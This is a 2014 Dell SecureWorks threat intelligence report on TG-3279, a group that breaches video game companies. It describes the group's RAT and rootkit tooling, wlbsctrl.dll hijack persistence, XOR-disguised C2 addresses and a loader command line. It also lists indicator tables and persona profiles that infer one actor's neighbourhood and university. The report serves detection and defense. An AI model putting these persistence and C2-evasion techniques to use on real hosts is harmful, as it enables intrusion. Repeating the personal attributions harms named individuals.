Threat Group-3279 Targets the Video Game IndustryBy: Dell SecureWorks Counter Threat Unit Threat Intelligence
- Author: Dell SecureWorks Counter Threat Unit™ Threat Intelligence
- Date: 29 July 2014
Threat Group-3279[i] (TG-3279) targets the entertainment and video game industries. Based upon Portable Executable (PE) compile dates, domain name registrations, collection dates of tools, the threat actors' activity on message boards, and activity observed by Dell SecureWorks Counter Threat Unit™ (CTU™) researchers during incident response engagements, TG-3279 appears to have been active since 2009.
CTU researchers believe that TG-3279 is associated with the China Cracking Group and that the Laurentiu Moon and Sincoder personas are TG-3279 actors. Due to information gathered from targeted hosts, CTU researchers believe with medium confidence that TG-3279 focuses on the collection of video game source code to crack those games for free use, to develop tools to cheat at the games, or to use the source code for competing products. The best method for detecting TG-3279 activity is to look for modifications to system files, invalidly signed executables, and repeated non-existent domain (NXDomain) DNS replies.
The following tools are strong indicators of TG-3279 activity:
- Conpee — A modular plugin-based remote access trojan (RAT) framework that includes a "PlugMgr" component, which sometimes uses the filenames mspatcher.dll or mspatch.dll. Newer variants of the Conpee installer include a semi-custom PE-file loader.
- gsi.exe — A system profiling tool compiled by Laurentiu Moon.
- Etso — A tool that loads an executable remote access tool from multiple registry keys.
- Etso rootkit — A network and file hiding rootkit.
- Runxx — A tool that loads PE files from its .rsrc section.
The following tools, authored by Sincoder but also shared publicly, may indicate activity by TG-3279:
- s — A custom, fast SYN port scanner.
- sqlin.php — A PHP SQL injection script created on December 15, 2013.
- dnsenum.py — A Python script used to enumerate DNS entries from a word list.
- rdp_crk — A Python script and executable to brute force Remote Desktop Protocol (RDP) usernames and passwords.
- icmp_shell — A reverse shell that runs on Windows hosts over ICMP traffic.
Additional forked tool repositories in the Sincoder persona's GitHub repository include the following:
- Keylogger — A Linux kernel-based keylogger originally created by GitHub user "enaudon."
- Jynxkit — A Linux-based rootkit with a reverse-connecting SSL backdoor, originally created by GitHub user "Chokepoint."
- Gh0st — A common RAT.
- NetCommander — An Address Resolution Protocol (ARP)-spoofing tool.
- Carberp — A RAT that was popular years ago but is still in use.
TG-3279 has also been observed using popular public tools such as pwdump6.
Through incident response engagements and open source research, CTU researchers have gained insight into TG-3279 operations.
TG-3279 appears to perform reconnaissance on its targets via open source research and network scanning.
TG-3279 reuses some network infrastructure between attacks. Some IP addresses used by the threat actors are shared by multiple domain names. Not all domain names associated with those IP addresses are related to TG-3279 activity, and some may be non-malicious. The registration information for each domain name used by TG-3279 tends to be unique and sometimes uses famous names or names that appear to be intended as a joke. Much of the registration information is cloned from legitimate companies such as Google or Microsoft.
As of this publication, CTU researchers have not determined whether TG-3279 uses weaponization tools to package exploits with malware.
It appears that TG-3279 uses a port scanning tool named "s" and an RDP brute force tool named "rdp_crk", which may be used to scan and exploit targets.
As of this publication, CTU researchers have not discovered packaged exploits used by TG-3279 and believe that the threat actors rely on active hands-on-keyboard techniques to exploit targets.
CTU researchers have observed TG-3279 leveraging optionally loaded DLLs to establish persistence for the Conpee plugin framework. This persistence technique allows threat actors to add a file to the compromised host without modifying the Windows Registry or startup items.
The optional DLL hijacking method used by TG-3279 placed the Conpee DLL file on the compromised host as C:\Windows\wlbsctrl.dll. The Windows operating system includes an option to start the "IKE and AuthIP IPSec Keying Modules" service for load balancing if the host is configured to run this service. This system-privileged, network-enabled service is controlled via the ikeext.dll service DLL, which attempts to load wlbsctrl.dll. The legitimate version of this file resides at C:\Windows\System32\wlbsctrl.dll. TG-3279 actors took advantage of the file not existing on the host, and placed their DLL at C:\Windows\wlbsctrl.dll. The system loaded the file at this location when it did not find the file at the legitimate location. On typical Windows 7 and 2008 systems, failure to load wlbsctrl.dll is not reported. CTU researchers discovered that TG-3279 placed wlbsctrl.dll into C:\Windows\ and configured the "IKE and AuthIP IPSec Keying Modules" service to run.
In other cases, TG-3279 actors modified the imports of legitimate DLLs to add their malicious DLLs to the load process. For example, TG-3279 has modified mspatcha.dll to import mspatcher.dll or msdomain.dll, both of which were the malicious Conpee DLL file. When wuauserv.dll loads mspatcha.dll, the malicious file is also loaded in the DLL import table.
TG-3279 has been able to install tools in these locations by compromising the account credentials of users with administrator privileges.
Command and control
TG-3279 command and control (C2) communication often takes place over port 443 but is not HTTPS traffic. The traffic appears to be part of a larger framework that the tool's authors named PATX. The C2 communications include two notable aspects to complicate investigations: IP calculations and domain name parking.
TG-3279 actors have adopted a form of IP calculation to obfuscate the true end point of their communications. This method of transforming the retrieved IP address prevents detection by defenders who only resolve the hostnames used in the tools. For example, one of TG-3279's C2 hosts is www7 . micorsofts . com, which resolves to 220.127.116.11. In this instance, each byte of the IP address's hexadecimal value is XOR-transformed with the value 0x88, so the resulting network communications actually communicate to 18.104.22.168 (the result of 230 ^ 0x88 . 165 ^ 0x88 . 22 ^ 0x88 . 199 ^ 0x88).
Domain name parking
TG-3279 actors appear to park the domain names used by their tools on non-malicious IP addresses at different points in time to evade detection of the actual IP addresses used in operations. For www7 . micorosofts . org and login . 7unzip . org, TG-3279 removed the DNS resolution for the domains at least three and four times respectively while the tools were installed on compromised resources.
Actions on objective
In the operations observed by CTU researchers, TG-3279 maintained a long-lived foothold within infiltrated organizations. CTU researchers have observed TG-3279 actors refreshing their implanted tools with newer versions, including versions that have been signed with valid certificates.
Windows 7 checks executable files for valid digital signatures from a set of trusted Certificate Authorities (CAs). Files containing a signature from one of these CAs can execute without prompting a user for permission. TG-3279 has been observed using legitimately signed files on Windows 7 hosts. These files were signed with a Chinese technology company's certificate on February 19, 2013, which is the same date that the files were written on the compromised host. CTU researchers believe that TG-3279 compromised this signing certificate because it was revoked on Tuesday, August 28, 2012. If a compromised host has a current certificate revocation list (CRL), this signature is flagged as invalid.
TG-3279 actors strive to access network and system administrators' accounts to gain the most access to the target organization. After initial exploitation, TG-3279 relies on a few key hosts (typically the hosts of system or network administrators, document repositories, and domain controllers) to act as beachheads running the Conpee or Etso tools. TG-3279 then adds scheduled system tasks to other key resources within an organization to use compromised credentials gathered from pwdump6.
During TG-3279 investigations, CTU researchers discovered evidence linking two personas, Laurentiu Moon Colonce and Sincoder, to TG-3279 tool development and infrastructure acquisition. TG-3279 activity has also revealed loose links to the Winnti group, but it is not clear as of this publication whether TG-3279 is part of Winnti.
Actor profile: Laurentiu Moon Colonce
The first established persona related to the tools used by TG-3279 is Laurentiu Moon, which is found in the program database (PDB) string of the gsi.exe system profiling tool. The PDB stores debugging information for its program. The PDB string is included at compilation time and provides insight into the directory structure of the computer used to compile the executable. The gsi.exe example shown in Figure 1 illustrates the use of the "laurentiumoon" username on the originating host and shows that the original program was named "getosinfo". According to the PETimeDateStamp, this example was compiled on Sunday, October 30, 2011 at 16:42:30 UTC.
Figure 1. PDB string that includes the laurentiumoon username. (Source: Dell SecureWorks)
The Laurentiu Moon Colonce persona has many online profiles that contain very little information, including a Steam Community online gaming account, a Google+ account, a list of CodeBeamer code projects, and a bulletin board account on a site about mobile phone jailbreaks and cracking. Additionally, the laurentiumoon @ gmail . com email address was used to register an account on rootkit.com, which used to be a bulletin board dedicated to discussing exploits and rootkit development. In February 2011, Anonymous dumped the clear text passwords of all rootkit.com users while compromising HBGary. There is also an openrce.org user account with the laurentiumoon username. OpenRCE is a popular reverse code engineering website that includes information on analyzing and building malicious software, as well as on reverse engineering and cracking legitimate software.
Laurentiu Moon has also been active in the Chinese cracking and hacking underground since at least 2009, based upon the threat actor's join dates on the China Cracking Group online community, AntiGameProtect, and qdppc.net. The China Cracking Group and AntiGameProtect are online communities dedicated to cracking software digital rights management (DRM) mechanisms, with a large focus on video games. Laurentiu Moon joined AntiGameProtect on December 26, 2013 and has been active as recently as January 1, 2014 (see Figure 2).
Figure 2. AntiGameProtect.com profile of laurentiumoon as of January 7, 2014. (Source: Dell SecureWorks)
Actor profile: Sincoder (2bcoder)
Newer versions of the Conpee tool include a semi-custom PE loading method. This method is functionally equivalent to at least two projects on GitHub: a "sinpeloader" and a "PE-loader-sample." Additionally, some of the C2 domains used in TG-3279 operations have shared the same IP address as the hostname www . sincoder . com. CTU researchers discovered a GitHub account for a user named "sincoder," which was active as recently as December 31, 2013.
The GitHub account followed and contributed to the following projects:
- PE-loader-sample — A PE-loader that is functionally equivalent to the semi-custom PE-loader found in the newer versions of Conpee. The original owner of this GitHub project is a member of the 3sLabs company, which is located in Bangalore, India.
- sinpeloader — The Sincoder profile's development branch of the PE-loader-sample project.
- jynxkit — A Linux rootkit.
- Multiple publicly available RATs, including Gh0st, LS4Ghost (the Linux server for Gh0st), Carberp, and NetCommander.
- Branches of other tools, including "keylogger," http_upload, sinarp (for ARP poisoning), "s" port scanner, icmp_shell to provide a remote shell over ICMP, UPX, and "nmap_scripts."
The sincoder GitHub account includes the 2bcoder @ gmail . com email address. A related domain of 2bcoder . com is registered with the zhuxueao123 @ gmail.com email address. According to the sincoder account, the user is located in Shanghai, China. However, other evidence discussed below suggests this information may not be accurate.
There is also a Weibo microblogging profile for a user named 2bcoder that references attending network security club meetings and has many Android mobile device posts with geolocation information tagging for the Nanshan District of Shenzhen. The Weibo account follows both the Wuhan University of Technology and the Wuhan University Jingwei Forum.
Like Laurentiu Moon, Sincoder is also a member of the China Cracking Group. A Twitter account notes the persona's location as Shenzhen, China. The Twitter profile does not have many public posts but follows security industry Twitter accounts such as FireEye and SecurityTube, many penetration testers, and offensive-security Twitter accounts such as Nikita Tarajanov from Russia and a self-described "Botmaster, TrueCrober, CreditCardFucker, Fraudmaster" based in "cardaland" who posts in Russian.
Based upon the geolocation data associated with Weibo posts, the Sincoder (2bcoder) threat actor appears to live near Kefa Road in the Nanshan District of the Guangdong Province in Shenzhen, China as of this publication, and may be affiliated with the Wuhan University of Technology. CTU researchers believe the individual is pursuing a career in the information security industry. Based upon the geolocation of older Weibo posts, Sincoder may have previously lived in Beijing's Dongcheng District.
Potential links to TG-2633
In 2013, Kaspersky Lab produced a report on a group it named "Winnti" after one of the tools the group uses. The CTU research team refers to the Winnti group as TG-2633. The group targets video game companies and uses tools, techniques, and procedures similar to those used by TG-3279:
- Both groups have used executables signed with potentially compromised certificates. The use of malware signed with valid certificates is one technique used to circumvent protections included in recent versions of the Windows operating system.
- Both groups have used rootkits detected by antivirus (AV) vendors as "winnti."
- A Chinese technology company certificate that was used by TG-3279 was used to sign a separate rootkit that AV vendors detect as "Etso" or "winnti," which is associated with TG-2633. It is possible that the code base used to create these rootkits has been shared within the Chinese underground, leading to the same AV rule alerting on multiple tools, or that this compromised certificate has been shared with multiple threat groups.
- Both groups target the video game industry. However, video game companies appear to be common targets across the Chinese cracking community.
- Domain names used by the groups are loosely linked. TG-2633 uses a 7zbiz . org domain name, while TG-3279 uses a 7zunzip . com domain. These domains have similar names that are based on the legitimate 7zip tool, but there is no other information to connect these domains.
- Both groups have used domain names based upon the Microsoft trademark; however, this is an extremely common emulation among malicious actors.
Although CTU researchers believe a connection between TG-3279 and TG-2633 is probable, there is no direct evidence to definitively link the two groups. The following are possible relationships between the groups:
- The threat actors in the two groups may have an indirect relationship.
- TG-3279 threat actors may respect and emulate TG-2633, whose operating procedures were detailed in April 2013.
- Members of the groups may directly collaborate within the Chinese cracking community by sharing code, tools, and signing certificates.
- TG-3279 and TG-2633 may be part of the same overarching group.
TG-3279 actors have been observed compromising video game companies. The following practices could prevent or detect successful intrusions:
- Use host-based file profiling to look for new DLL files added to system directories and modifications to the imports of existing files.
- Maintain current certificate revocation lists and alert on files signed with revoked certificates.
- Monitor DNS lookup and alert on repeated NX-domains lookups. TG-3279 often "turns off" the domain names used by its RATs.
CTU researchers believe with high confidence that the individuals behind the Sincoder and Laurentiu Moon Colonce personas develop tools used by TG-3279. Based on the online associations of these personas, an objective of these compromises is likely to obtain inside information to crack the DRM protections of the stolen software and to develop cheat patches. An alternative objective may have been to obtain the source code of the gaming applications to develop a similar product. CTU researchers believe that TG-3279 will continue operations for the foreseeable future. Although there are similarities between TG-3279 and TG-2633, also known as Winnti, CTU researchers have not established a strong link between the groups as of this publication.
Appendix A: Tools
TG-3279 has been observed using the tools mentioned in the Known tools section.
Conpee is part of the "PATX" framework. The PlugMgr component, which communications with the "PATX_SERVER" C2 host, offers a reasonably full range of backdoor functionality, including the ability to load plugins with further capabilities.
The built-in RAT functionality of the PlugMgr component includes the commands listed in Table 1.
|iisget <remotefile> <localfile>||Download remote file to local file|
|iisput <localfile> <remotefile>||Upload local file to remote file|
|iisgetdir <remotedir> <localdir>||Download the remote directory to local directory|
|iiscmd <program> <mode[-h | -s | -u]>||Run a program in either hidden, system, or user mode|
|openshell <(-u) usermode>||Open a shell on the client|
|closeshell||Close the shell and return to the top menu|
|exit||Close the shell and return to the top menu|
|set_dl_speed <speed-value> (1-1024)kb/s||Set download speed|
|set_ul_speed <speed-value> (1-1024)kb/s||Set upload speed|
|reboot||Reboot the Windows operating system|
|closesystem||Shut down the Windows operating system|
|session||Query session info|
Table 1. PlugMgr RAT commands.
The PlugMgr component loads additional plugins, which are downloaded and saved as DLL files in the same directory as the PlugMgr executable. These plugins have the following exports:
Initial interaction with the plugins is enabled through the PlugMgr component via the commands listed in Table 2.
|?||Show help info|
|help||Show help info|
|enumplug||Enumerate all plugins on remote computer|
|uploadplug <plugin-name>||Upload special plugin to remote computer|
|deleteplug <plugin-name>||Delete special plugin on remote computer|
|deleteallplug||Delete all plugins on remote computer|
|installplug <plugin-name>||Install special plugin on remote computer|
|uninstallplug <plugin-name>||Uninstall special plugin on remote computer|
|startplug <plugin-guid>||Start special plugin on remote computer|
|pauseplug <plugin-guid>||Set special plugin to pause state|
|resumeplug <plugin-guid>||Set special plugin to running state|
|stopplug <plugin-guid>||Stop special plugin on remote computer|
|stopallplug||Stop all plugins on remote computer|
|uninstallallplug||Uninstall all plugins on remote computer|
|upgrade <client.exe>||Update latest client to target computer|
|disc||Disconnect current client|
|settimeout||Set client timeout (minutes)|
|setdelaytime||Set connect time when disconnected from server|
Table 2. PlugMgr component interaction commands.
Conpee includes limited error logging to a file named %s/%s_date.log.
In 2013, TG-3279 began using 64-bit custom packed versions of the Conpee PlugMgr. These files are loaded via the XT load system described in the next section.
XT load system
TG-3279 uses a custom form of PE loading that includes multiple files to load executable code from an INI file. This XT code loading system is composed of four files: gsi.exe, xt.bat, xt.tmp, and xt.ini.
gsi.exe is an executable file that walks the process tree to find explorer.exe. gsi.exe then saves the security identifier (SID) for explorer.exe to c:\\t.ini as the value of the private profile string "App". This value is then used by the xt.tmp executable file.
xt.bat is a batch script that calls the xt.tmp and xt.ini components of the XT load system. The following is an example of xt.bat contents:
c:\recovery\xt.tmp c:\recovery\xt.ini -c 22.214.171.124 -o 443
xt.tmp is an executable file that loads the data within xt.ini and c:\t.ini via the GetPrivateProfile API call.
xt.ini is an INI file that includes executable code within the "DATA" string. The hexadecimal characters within the DATA string decode to the data in Figure 3.
Figure 3. Contents of the xt.ini file. (Source: Dell SecureWorks)
This routine decodes the imports for UPX from the obfuscated format in Figure 4 (four regular bytes followed by three garbage bytes), then repairs the enclosed UPX stub within the DATA string and loads this PE file. To further obfuscate the INI file from signature-based detections, the MZ header of the UPX PE file is also nullified, as shown in Figure 5. When loaded, xt.ini is the Conpee PlugMgr component.
Figure 4. Obfuscated imports for UPX routine. (Source: Dell SecureWorks)
Figure 5. MZ header is replaced with null bytes and relies upon a custom PE loading mechanism. (Source: Dell SecureWorks)
The Etso tool used by TG-3279 is named TSMSISrv.dll. An older version of the code reads executable code data from four values in the HKLM\SOFTWARE\ODBC.INI registry key into memory buffers on the stack. The newer version of this tool, which was released February 2013 or earlier, reads the executable code from values stored in the non-malicious HKLM\SOFTWARE\ODBC\ODBC.INI registry path. When executed, the data loaded from the ODBC.INI values XOR-decodes a simple remote access tool that provides backdoor command execution access to the compromised host.
Runxx.exe rsrc loader
Runxx.exe is a custom loader that runs the file encoded within the runxx.exe executable's .rsrc section as the owner of the Explorer.exe process. CTU researchers have observed the executable being named runxx.exe and st.exe. The st.exe version, which is slightly different from runxx.exe, takes the command line argument -P <key>, which decodes the enclosed .rsrc file. On 32-bit Windows Vista and newer hosts, the file writes and executes %TEMP%\w7??.tmp, where "??" is replaced with two random characters. On 64-bit Windows Vista and newer hosts, the filename is %TEMP%\VX0??.tmp, where "??" is replaced with two random characters.
Appendix B: TG-3279 indicators
The threat indicators in Table 3 are associated with TG-3279 activity. The domains and IP addresses listed in the indicators table may contain malicious content, so consider the risks before opening them in a browser.
|statics.mozillor.org||Domain name||Known C2 domain|
|126.96.36.199||IP address||IP resolution for statics.mozillor.org, ad.7zbiz.com, and get.7zbiz.com
First seen September 2013
Last seen November 2013
|tactics.mozillor.org||Domain name||Known C2 domain|
|update.mozillor.org||Domain name||Known C2 domain|
|188.8.131.52||IP address||IP resolution for update.mozillor.org, *.mozillor.org, news.7zbiz.com, ad.7zbiz.com, and update.7zbiz.com
First seen September 2013
Last seen November 2013
|184.108.40.206||IP address||IP resolution for update.7zbiz.com and *.mozillor.org
First and last seen February 2014
|220.127.116.11||IP address||IP resolution for news.7zbiz.com and ad.7zbiz.com
First and last seen February 2014
|kr.Clientpg@yahoo.co.kr||Email address||Email address used to register mozillor.org and 7unzip.org|
|login.7zbiz.com||Domain name||Known C2 domain|
|news.7zbiz.com||Domain name||Related subdomain of known C2 domain|
|update.7zbiz.com||Domain name||Related subdomain of known C2 domain|
|get.7zbiz.com||Domain name||Related subdomain of known C2 domain; shares IP address with a second known C2 domain
First seen 2013
|18.104.22.168||IP address||IP resolution for get.7zbiz.com
First and last seen February 2014
|ad.7zbiz.com||Domain name||Related subdomain of known C2 domain|
|downloads.7zbiz.com||Domain name||Related subdomain of known C2 domain|
|22.214.171.124||IP address||Resolving IP address for downloads.7zbiz.com|
|7zbiz.com||Domain name||Second level of known C2 domain|
|126.96.36.199||IP address||IP resolution for 7zbiz.com|
|firstname.lastname@example.org||Email address||Email address used to register 7zbiz.com
First seen February 2, 2012
Last seen December 1, 2013
|Wen Ben Zhou||Name||Presumed fake name used to register 7zbiz.com
First seen February 2, 2012
Last seen February 4, 2014
|www3.micorsofts.com||Domain name||Known C2 domain|
|www6.micorsofts.com||Domain name||Known C2 domain|
|www7.micorsofts.com||Domain name||Known C2 domain|
|188.8.131.52||IP address||IP resolution for www7.micorsofts.com, used for IP calculation (IP address is not known to be malicious)
Last seen January 1, 2014
|184.108.40.206||IP address||Observed IP resolution for www7.micorsofts.com and www8.micorsofts.com, used for IP calculation (IP address is not known to be malicious)
First seen January 4, 2014
|220.127.116.11||IP address||Observed IP resolution for update.micorsofts.com, www.update.micorsofts.com, www3.micorsofts.com, and www2.micorsofts.com; IP address of www7.micorsofts.com and www8.micorsofts.com after IP calculation|
|www2.micorsofts.com||Domain name||Related subdomain of known C2 domain|
|test1.micorsofts.com||Domain name||Related subdomain of known C2 domain|
|support.micorsofts.com||Domain name||Related subdomain of known C2 domain|
|www.update.micorsofts.com||Domain name||CNAME for wwwN.micorsofts.com, where N is replaced with the numbers 3, 6, or 7.|
|18.104.22.168||IP address||Observed IP resolution for www.update.micorsofts.com|
|22.214.171.124||IP address||Observed IP resolution for www.update.micorsofts.com
Last seen November 2013
|email@example.com||Email address||Email address in registration data for micorsofts.com
First seen June 21, 2013
|firstname.lastname@example.org||Email address||Original email address used to register micorsofts.com
Last seen June 21, 2013
|7unzip.org||Domain name||Domain registered with the same email address as mozillor.org
First seen December 3, 2011
|login.7unzip.org||Domain name||Related sub domain of known C2 domain|
|126.96.36.199||IP address||IP resolution for login.7unzip.org
First seen January 3, 2014
|www.sincoder.com||Domain name||Domain name that uses the Sincoder persona's handle and points to IP addresses used to host the C2 server
First seen May 27, 2011
|188.8.131.52||IP address||IP resolution for test1.micorsofts.com, possibly not malicious|
|184.108.40.206||IP address||IP resolution for test1.micorsofts.com,possibly not malicious|
|220.127.116.11||IP address||IP resolution for test1.micorsofts.com, possibly not malicious|
|18.104.22.168||IP address||IP resolution for test1.micorsofts.com, possibly not malicious|
|22.214.171.124||IP address||IP resolution for test1.micorsofts.com, possibly not malicious|
|126.96.36.199||IP address||IP resolution for test1.micorsofts.com, possibly not malicious|
|188.8.131.52||IP address||IP resolution for test1.micorsofts.com, possibly not malicious|
|184.108.40.206||IP address||IP resolution for test1.micorsofts.com, possibly not malicious|
|220.127.116.11||IP address||IP resolution for test1.micorsofts.com, possibly not malicious|
Table 3. Threat indicators for TG-3279.
Appendix C: TG-2633 indicators
The threat indicators in Table 4 are associated with TG-2633 activity. The domains and IP addresses listed in the indicators table may contain malicious content, so consider the risks before opening them in a browser.
|dl0.7zbiz.org||Domain name||TG-2633-related domain|
|update.7zbiz.org||Domain name||TG-2633-related domain|
|login.7zbiz.org||Domain name||TG-2633-related domain|
|7zbiz.org||Domain name||TG-2633-related domain|
|email@example.com||Email address||Email address used to register 7zbiz.org|
|18.104.22.168||IP address||IP resolution for club.cjinternet.us, coderprojcet.com, as.cjinternet.us, ru.cjinternet.us, db.jcrsoft.com, nx.cjinternet.us, cc.nexoncorp.us, dl0.7zbiz.org, and update.7zbiz.org|
|club.cjinternet.us||Domain name||TG-2633-related domain|
|as.cjinternet.us||Domain name||TG-2633-related domain|
|ru.cjinternet.us||Domain name||TG-2633-related domain|
|nx.cjinternet.us||Domain name||TG-2633-related domain|
|firstname.lastname@example.org||Email address||Email address used to register cjinternet.us and nexoncorp.us|
|cc.nexoncorp.us||Domain name||TG-2633-related domain
First seen April 12, 2012
|coderprojcet.com||Domain name||TG-2633-related domain
First seen August 22, 2012
|db.jcrsoft.com||Domain name||TG-2633-related domain
First seen July 14, 2013
Last seen July 24, 2013
|www.jjjtv.com||Domain name||TG-2633-related domain
First seen June 6, 2012
|soft.socksys.net||Domain name||TG-2633-related domain
First seen October 9, 2010
Last seen September 9, 2013
|www.socksys.net||Domain name||TG-2633-related domain|
|www.hichf.com||Domain name||TG-2633-related domain
First seen May 6, 2008
Last seen May 13, 2013
|22.214.171.124||IP address||IP resolution for www.hichf.com
First seen January 3, 2014
|Donneparemail@example.com||Email address||Contact email address for hichf.com
First seen May 13, 2013
|dcaccarpowerinverter.com||Domain name||TG-2633-related domain|
|firstname.lastname@example.org||Email address||Contact email address for dcaccarpowerinverer.com|
|www.pigszone.com||Domain name||TG-2633 related domain|
|126.96.36.199||IP address||IP resolution for www.pigszone.com|
|www.pigzone.info||Domain name||TG-2633 related domain|
|188.8.131.52||IP address||IP resolution for www.pigszone.info|
|email@example.com||Email address||Email address used to register pigszone.com and pigszone.info|
Table 4. Threat indicators for TG-2633.
[i] The Dell SecureWorks Counter Threat Unit (CTU) research team tracks threat groups by assigning them four-digit randomized numbers (3279 in this case), and compiles information from external sources and from first-hand incident response observations.